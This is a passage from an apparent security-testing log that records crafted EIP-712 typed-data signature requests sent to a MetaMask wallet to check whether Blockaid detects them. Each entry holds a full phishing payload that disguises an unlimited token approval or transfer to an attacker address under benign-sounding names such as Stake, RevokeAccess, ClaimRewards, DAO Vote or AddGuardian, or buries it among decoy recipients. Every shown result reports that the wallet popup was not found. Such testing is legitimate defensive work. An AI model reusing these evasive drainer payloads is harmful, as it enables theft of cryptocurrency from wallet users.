Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:45:23.904Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:45:33.445Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN51-EIP3009-022", "timestamp": "2026-01-31T18:45:43.002Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3aba183ff945c95e7bf7ab8f353256fac27769eeda49b127feb4e988dc767d25\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN51-EIP3009-054", "timestamp": "2026-01-31T18:45:52.560Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x6468e3736d62d17c1a0909d6a1adc3d1387be7b7ad600f044ee83e4587980db5\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:46:02.104Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:46:11.662Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:46:21.202Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:46:30.758Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:46:40.307Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:46:49.864Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:46:59.406Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:47:08.964Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:47:18.510Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:47:28.068Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:47:37.611Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:47:47.165Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:47:56.707Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:48:06.260Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:48:15.811Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending 